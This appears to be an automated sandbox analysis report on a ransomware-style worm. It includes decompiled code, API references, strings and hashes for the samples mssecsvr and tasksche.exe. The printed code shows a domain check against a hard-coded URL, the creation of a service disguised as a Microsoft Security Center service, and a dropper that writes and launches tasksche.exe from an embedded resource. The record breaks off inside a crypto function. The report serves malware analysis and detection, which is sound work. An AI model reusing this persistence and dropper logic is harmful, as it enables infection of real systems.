API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000007.00000002.977892459.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.977871504.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977932978.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977946043.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977968468.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978137838.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978163682.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978251003.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000007.00000002.977892459.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.977871504.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977932978.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977946043.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977968468.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978137838.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978163682.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978251003.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F75FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000007.00000002.977892459.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.977871504.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977932978.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977946043.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977968468.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978137838.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978163682.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978251003.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C

Strings

/i, xrefs: 00407E8D
tasksche.exe, xrefs: 00407DEA
kernel32.dll, xrefs: 00407CEA
CreateProcessA, xrefs: 00407D07
D, xrefs: 00407ED3
CloseHandle, xrefs: 00407D29
C:\%s\%s, xrefs: 00407DFB
WriteFile, xrefs: 00407D1C
WINDOWS, xrefs: 00407DF2, 00407E0D
C:\%s\qeriuwjhrf, xrefs: 00407E12
CreateFileA, xrefs: 00407D0F

Memory Dump Source

Source File: 00000007.00000002.977892459.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.977871504.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977932978.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977946043.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.977968468.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978137838.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978163682.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.978251003.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 5684, Parent PID: 3252COMMON

Executed Functions

Function 0040FEF0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 189
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040FEF0(void* __edx, void* __eflags) {
				void* _v8;
				char _v12;
				struct _SYSTEMTIME _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				short _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HBITMAP__* _t43;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t70;
				void* _t76;
				void* _t90;
				void* _t91;
				WCHAR* _t92;
				struct HINSTANCE__* _t94;
				void* _t97;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t115;

				_t90 = __edx;
				E00410E1C(1);
				__imp__OleInitialize(0, _t91, _t98, _t76); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t91, 0x43a820, 0, 0x7002);
				_t105 = _t104 + 0xc;
				_t92 = GetCommandLineW();
				_t108 = _t92;
				if(_t92 != 0) {
					E0040D64B(_t108, _t92);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t92); // executed
					} else {
						_t70 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						_v8 = _t70;
						if(_t70 != 0) {
							_t97 = MapViewOfFile(_t70, 0xf001f, 0, 0, 0x7002);
							_t111 = _t97;
							if(_t97 != 0) {
								E0041C290(0, _t97, 0x7002, 0x43a820, _t97, 0x7002);
								_t105 = _t105 + 0xc;
								 *_t97 = 1;
								E0040D5F7(_t111, 0x43a822);
							}
							UnmapViewOfFile(_t97);
						}
						CloseHandle(_v8);
					}
				}
				GetModuleFileNameW(0, 0x439820, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x439820); // executed
				GetLocalTime( &_v28);
				_push(_v28.wMilliseconds & 0x0000ffff);
				_push(_v28.wSecond & 0x0000ffff);
				_push(_v28.wMinute & 0x0000ffff);
				_push(_v28.wHour & 0x0000ffff);
				_push(_v28.wDay & 0x0000ffff);
				_push(_v28.wMonth & 0x0000ffff);
				E0040BC16( &_v216, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d", _v28.wYear & 0x0000ffff);
				SetEnvironmentVariableW(L"sfxstime",  &_v216);
				_t94 = GetModuleHandleW(0);
				 *0x4335a4 = _t94;
				 *0x4335a8 = _t94; // executed
				_t42 = LoadIconW(_t94, 0x64); // executed
				 *0x43981c = _t42; // executed
				_t43 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t43; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t90, _t103, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t94, L"STARTDLG", 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t94);
				}
				E0040D0FE(0x44ce20);
				_t113 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t94, 0x439820, _t113);
				}
				DeleteObject( *0x43981c);
				_t57 =  *0x439818;
				if(_t57 != 0) {
					DeleteObject(_t57);
				}
				_t115 =  *0x4335ac; // 0x3
				if(_t115 == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t58 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t58);
					CloseHandle( *0x441868);
				}
				_t59 =  *0x441864;
				if(_t59 != 0) {
					Sleep(_t59);
				}
				__imp__OleUninitialize();
				_t60 =  *0x441860;
				if(_t60 > 0) {
					return _t60;
				} else {
					_t61 =  *0x4335ac; // 0x3
					return _t61;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040ffd0
0x0040ffd5
0x0040ffda
0x0040ffdf
0x0040ffe4
0x0040ffe9
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x0041010c
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x0041016f
0x00000000
0x0041016f

APIs

Part of subcall function 00410E1C: GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
Part of subcall function 00410E1C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

OleInitialize.OLE32(00000000), ref: 0040FF06

Part of subcall function 00411F56: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FF16), ref: 00411F67
Part of subcall function 00411F56: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411F7B

_memset.LIBCMT ref: 0040FF22
GetCommandLineW.KERNEL32 ref: 0040FF2A
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FF50
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FF62
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FF8B

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

CloseHandle.KERNEL32(?), ref: 0040FF94
GetModuleFileNameW.KERNEL32(00000000,00439820,00000800), ref: 0040FFAE
SetEnvironmentVariableW.KERNELBASE(sfxname,00439820), ref: 0040FFC0
GetLocalTime.KERNEL32(?), ref: 0040FFC6
_swprintf.LIBCMT ref: 0040FFFD
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00410011
GetModuleHandleW.KERNEL32(00000000), ref: 00410014
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32 ref: 0041009D
DeleteObject.GDI32 ref: 004100FE
DeleteObject.GDI32(?), ref: 0041010A

Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

CloseHandle.KERNEL32(000000FF), ref: 00410147
Sleep.KERNEL32(?), ref: 00410157
OleUninitialize.OLE32 ref: 0041015D

Strings

sfxstime, xrefs: 0041000C
winrarsfxmappingfile.tmp, xrefs: 0040FF44
p["u k"u, xrefs: 004100F8
sfxname, xrefs: 0040FFBB
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0040FFEF
STARTDLG, xrefs: 0041008F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineLocalMappingNameOpenParamProcSleepTimeUninitializeUnmap_memset_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$p["u k"u$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2890863147-793245028
Opcode ID: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2C Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t223;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
